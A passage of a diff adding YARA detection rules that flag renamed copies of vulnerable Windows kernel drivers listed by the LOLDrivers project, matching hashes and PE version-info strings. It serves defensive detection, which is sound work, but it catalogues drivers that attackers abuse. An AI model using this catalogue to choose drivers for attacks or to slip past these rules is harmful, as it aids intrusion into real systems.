+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e0030002e0031003000350032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006300740069007600650043006c00650061006e } /* ProductName ActiveClean */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_3FF3 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3ff39728f1c11d1108f65ec5eb3d722fd1a1279c530d79712e0d32b34880baaa"
+		hash = "86721ee8161096348ed3dbe1ccbf933ae004c315b1691745a8af4a0df9fed675"
+		date = "2023-06-14"
+		score = 70
+		id = "f178f1b8-8f10-50e2-9d17-f83e09e2b020"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00340030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00340030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310030 } /* LegalCopyright CopyrightCMRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /procexp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_BDBC {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "bdbceca41e576841cad2f2b38ee6dbf92fd77fbbfdfe6ecf99f0623d44ef182c"
+		date = "2023-06-14"
+		score = 70
+		id = "c633441c-348f-527e-8187-51b28a53b63a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00300031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00300031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300037 } /* LegalCopyright CopyrightCMRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /procexp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_7837 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7837cb350338c4958968d06b105466da6518f5bb522a6e70e87c0cad85128408"
+		date = "2023-06-14"
+		score = 70
+		id = "f4821039-4998-5f15-99a7-72c4a1219d94"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000350036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_0B2A {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0b2ad05939b0aabbdc011082fad7960baa0c459ec16a2b29f37c1fa31795a46d"
+		date = "2023-06-14"
+		score = 70
+		id = "54df9ee8-fd07-5c87-a94f-63289f1844f5"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0037002e0034003000330031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0037002e0034003000330031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Copyright_Advancedmalwareprotection_6F55 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amsdk.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6f55c148bb27c14408cf0f16f344abcd63539174ac855e510a42d78cfaec451c"
+		date = "2023-06-14"
+		score = 70
+		id = "9d1dabed-5497-5325-b982-653aed3fd039"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041006400760061006e0063006500640020004d0061006c0077006100720065002000500072006f00740065006300740069006f006e } /* FileDescription AdvancedMalwareProtection */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007000790072006900670068007400200032003000310038002e } /* CompanyName Copyright */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006400760061006e0063006500640020004d0061006c0077006100720065002000500072006f00740065006300740069006f006e } /* ProductName AdvancedMalwareProtection */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005a0041004d002e006500780065 } /* OriginalFilename ZAMexe */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200032003000310038002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /amsdk/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Elaboratebytesag_Elbycdio_Cdrtools_EEA5 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "eea53103e7a5a55dc1df79797395a2a3e96123ebd71cdd2db4b1be80e7b3f02b"
+		date = "2023-06-14"
+		score = 70
+		id = "eff2a649-3401-5c91-8856-602c4e976982"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200032002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003900200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /elbycdio/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_2D2C {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2d2c7ee9547738a8a676ab785c151e8b48ed40fe7cf6174650814c7f5f58513b"
+		date = "2023-06-14"
+		score = 70
+		id = "932a6fdd-6631-5af4-94bf-7fbf48243d7f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00360020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003200200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /iQVW64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Elaboratebytesag_Elbycdio_Cdrtools_5CFA {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5cfad3d473961763306d72c12bd5ae14183a1a5778325c9acacca764b79ca185"
+		date = "2023-06-14"
+		score = 70
+		id = "e786e683-d225-506b-ae7d-7c81aa4ac14d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ElbyCDIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Arthurliberman_Alsysiosys_Alsysio_119C {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "119c48b79735fda0ecd973d77d9bdc6b329960caed09b38ab454236ca039d280"
+		date = "2023-06-14"
+		score = 70
+		id = "58289f86-0988-5bf7-b009-8315f1b3696f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f00360034 } /* FileDescription ALSysIO */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e } /* CompanyName ArthurLiberman */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e00310031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e00310031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f00360034002e007300790073 } /* InternalName ALSysIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f00360034 } /* ProductName ALSysIO */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f00360034002e007300790073 } /* OriginalFilename ALSysIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300031003900200041007200740068007500720020004c0069006200650072006d0061006e } /* LegalCopyright CopyrightCArthurLiberman */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ALSysIO64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_263E {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "263e8f1e20612849aea95272da85773f577fd962a7a6d525b53f43407aa7ad24"
+		date = "2023-06-14"
+		score = 70
+		id = "51fc8e1a-fbf2-59cf-9cde-464859a4160c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00320035002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320035002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100300020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /viragt64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibsys_Ntiolib_E839 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e83908eba2501a00ef9e74e7d1c8b4ff1279f1cd6051707fd51824f87e4378fa"
+		date = "2023-06-14"
+		score = 70
+		id = "70173412-67b5-5647-ab39-354b69193668"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004300500055005f00430043 } /* FileDescription NTIOLibforMSICPUCC */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Hilschergesellschaftfrsystemaoutomationmbh_Physmemsys_Physicalmemoryaccessdriver_C299 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - physmem.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d"
+		date = "2023-06-14"
+		score = 70
+		id = "27aa8117-0bc2-5f84-98df-d7360bba16a4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0050006800790073006900630061006c0020004d0065006d006f0072007900200041006300630065007300730020004400720069007600650072 } /* FileDescription PhysicalMemoryAccessDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00480069006c0073006300680065007200200047006500730065006c006c0073006300680061006600740020006600fc0072002000530079007300740065006d0061006f00750074006f006d006100740069006f006e0020006d00620048 } /* CompanyName HilscherGesellschaftfrSystemaoutomationmbH */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0070006800790073006d0065006d002e007300790073 } /* InternalName physmemsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050006800790073006900630061006c0020004d0065006d006f0072007900200041006300630065007300730020004400720069007600650072 } /* ProductName PhysicalMemoryAccessDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0070006800790073006d0065006d002e007300790073 } /* OriginalFilename physmemsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a9002000480069006c0073006300680065007200200047006500730065006c006c0073006300680061006600740020006600fc0072002000530079007300740065006d0061006f00750074006f006d006100740069006f006e0020006d00620048002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright HilscherGesellschaftfrSystemaoutomationmbHAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /physmem/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_AF10 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "af1011c76a22af7be97a0b3e0ce11aca0509820c59fa7c8eeaaa1b2c0225f75a"
+		date = "2023-06-14"
+		score = 70
+		id = "defc1d03-fae1-5a21-b8ca-f39bdbecaad6"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* FileDescription AMDRyzenMasterServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 } /* CompanyName AdvancedMicroDevices */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* InternalName AMDRyzenMasterDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* ProductName AMDRyzenMasterServiceDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* OriginalFilename AMDRyzenMasterDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e } /* LegalCopyright CopyrightAMDInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /AMDRyzenMasterDriver/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Elaboratebytesag_Elbycdio_Cdrtools_ADA4 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ada4e42bf5ef58ef1aad94435441003b1cc1fcaa5d38bfdbe1a3d736dc451d47"
+		date = "2023-06-14"
+		score = 70
+		id = "8ea15559-48f5-5f9c-bf03-1ee3b0cac919"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ElbyCDIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_9B2F {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9b2f051ac901ab47d0012a1002cb8b2db28c14e9480c0dd55e1ac11c81ba9285"
+		date = "2023-06-14"
+		score = 70
+		id = "e5ec701e-320e-5991-988f-a1334b9a85ff"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
